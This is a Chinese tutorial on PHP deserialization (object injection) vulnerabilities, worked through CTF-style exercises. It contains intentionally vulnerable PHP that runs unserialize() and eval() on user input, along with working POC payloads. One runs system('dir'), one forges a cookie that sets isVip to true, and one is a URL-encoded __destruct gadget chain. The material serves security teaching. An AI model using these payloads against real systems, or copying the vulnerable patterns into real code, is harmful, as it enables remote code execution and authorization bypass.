1、反序列化漏洞的产生
PHP反序列化漏洞又叫做PHP对象注入漏洞,是因为程序对输入的序列化后的字符串处理不当导致的。反序列化漏洞的成因在于代码中的unserialize()接收参数可控,导致代码执行,SQL注入,目录遍历,getshell等后果。
一句话讲晒就是: 反序列化漏洞是由于unserialize函数接收到了恶意的序列化数据篡改成员属性后导致的。
<?php
class xiaohua
{
public $str = 'xiaohua';##成员变量,赋值
function func() //定义了成员方法
{
echo $this->str; //调用str成员变量,并输出
echo PHP_EOL; //换行符
}
}
$aa = new xiaohua; //把类实体化为对象
$aa ->func(); //在对象里,调用了func成员方法
//echo serialize(new xiaohua());
$a ='O:7:"xiaohua":1:{s:3:"str";s:7:"chunerx";}'; //传参,给a赋值一串序列化后的字符串
$b = unserialize($a); //反序列化变量a
print_r($b);
$b ->func(); ##漏洞出现的地方,序列化的字符串为 chunerx,没有调用类里的xiaohua,而是调用了xiaohua (可控制的地方)
输出:
xiaohua
xiaohua Object
(
[str] => chunerx
)
chunerx
练习一:
(把下面代码,写入phpstudy的web目录下,启动phpstudy,浏览器访问)
<?php
error_reporting(0);
highlight_file(__FILE__);
class xiaohua{
public $str = 'echo "benben";';
function ben () {
eval($this->str);
}
}
$a = $_GET['benben'];
$b = unserialize($a);
$b ->ben();
?>
代码分析:定义了名为xiaohua的类,共有属性成员变量str,内容为'echo "benben";',定义了ben的成员方法,作用是把 xiaohua类中的str成员变量的内容(echo "benben")作为php代码自行。
类外,通过get方法,传参,反序列化$a为对象,在对象里调用了ben的成员方法。
POC思路:
<?php
class xiaohua{
public $str = 'system("dir");';
}
$a = new xiaohua();
echo serialize($a);
输出:
O:7:"xiaohua":1:{s:3:"str";s:14:"system("dir");";}
原理:
原理上面也讲了,就是unserialize()方法,在接收到用户输入的序列化的代码后,调用了xiaohua这个类,但是在调用ben方法时,没有执行原本的代码(echo "benben"),而是执行了用户输入的代码(system("dir");),这就是漏洞的原理。
练习二:
<?php
error_reporting(0);
highlight_file(__FILE__);
include ('flag.php'); // 包含同目录下的flag.php文件
class ctfshowUser{
public $username='xxxx';
public $password='xxxx';
public $isVip = false; //默认isvip为false
public function checkVip(){
return $this->isVip; //成员方法作用:检查isvip,为True返回1,为false返回0
}
public function login($u,$p){ //接收两个参数
if($this->username===$u&&$this->password===$p){ //判断用户输入的用户和密码,是不是和规定的一样(username= xxxx,password=xxxx)
$this->isVip=true; //如果一样就把isvip改为true
}
return $this->isVip; //不一样就返回默认的(false)
}
public function viponekeygetflag() //方法作用:判断如果isvip为true,则调用$flag成员变量,输出$flag(flag.php文件中的flag)
{
if ($this->isVip) {
global $flag;
echo "your flag is " . $flag;
} else { //否则,输出no vip,no flag
echo "no vip ,no flag";
}
}
}
$username=$_GET['username']; //通过get传参username
$password=$_GET['password']; //通过get传参username
if(isset($username) && isset($password)){ //isset 判断有没有输入username和password ,有则返回一个执行下面的代码,没有停止。
$user = new ctfshowUser(); //实体化对象
if($user->login($username,$password)){ //调用了login方法,如果返回isvip=true执行下面的代码,否则执行else
if($user->checkVip()){
$user->viponekeygetflag(); //调用vipopenkey。。。方法
}
}else{
echo "no vip,no flag";
}
}
思路:(就是你输入的要和规定了一样)
练习二进阶:(反序列化)
<?php
error_reporting(0);
highlight_file(__FILE__);
include ('flag.php');
class ctfshowUser{
public $username='xxxx';
public $password='xxxx';
public $isVip = false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function viponekeygetflag()
{
if ($this->isVip) {
global $flag;
echo "your flag is " . $flag;
} else {
echo "no vip ,no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){ //isset 判断有没有输入username和password ,有则返回一个1,没有返回空。
$user = unserialize($_COOKIE['user']); //通过cooike传参
if($user->login($username,$password)){
if($user->checkVip()){
$user->viponekeygetflag();
}
}else{
echo "no vip,no flag";
}
}
这道题:
减少了用户输入username=xxxx&password=xxxx后,isvip状态不会更改为true(关键的地方)
POC思路:
<?php
error_reporting(0);
highlight_file(__FILE__);
include ('flag.php');
class ctfshowUser{
public $username='xxxx';
public $password='xxxx';
public $isVip = true;
}
echo serialize(new ctfshowUser());
它不修改isvip状态,那我们自己修改(把isvip改为true)
把序列化后的字符串,通过cookie传参。
练习三
__construct (new 对象的时候,触发)和__destruct(new 对象 和unserialize 触发)
如果new 对象时,__construct和__destruct都有,先执行__construct
<?php
error_reporting(0);
highlight_file(__FILE__);
class index
{
private $test;
public function __construct()
{
$this->test=new normal(); //作用为 实体化normal类为对象
}
public function __destruct()
{
$this->test->action(); //作用 调用action方法(两个)
}
}
class normal {
public function action(){
echo "please attack me"; // 这个action 是输出 一段字段串
}
}
class evil {
var $test2;
public function action(){
eval ($this->test2); //把$test2中的字符串,作为php代码执行
}
}
unserialize($_GET['test']);
?>
思路:
首先时反序列化漏洞,我们要构造序列化poc,所以我们得new,之后才能serialize,serialize会触发__construct。但是题目中触发的时new normal,normal直接输出please attack me。没有
所以我们让serialize 触发__construct后,让它去 new evil。
构造POC:
因为test成员变量为私有属性,所以poc代码需要urlencode,不然执行不了。
<?php
error_reporting(0);
highlight_file(__FILE__);
class index
{
private $test;
public function __construct()
{
$this->test=new evil();
}
}
class evil {
var $test2="system('dir');";
public function action(){
eval ($this->test2);
}
}
$a = new index();
echo urlencode(serialize($a));
?>
poc:
O%3A5%3A%22index%22%3A1%3A%7Bs%3A11%3A%22%00index%00test%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A5%3A%22test2%22%3Bs%3A14%3A%22system%28%27dir%27%29%3B%22%3B%7D%7D
输出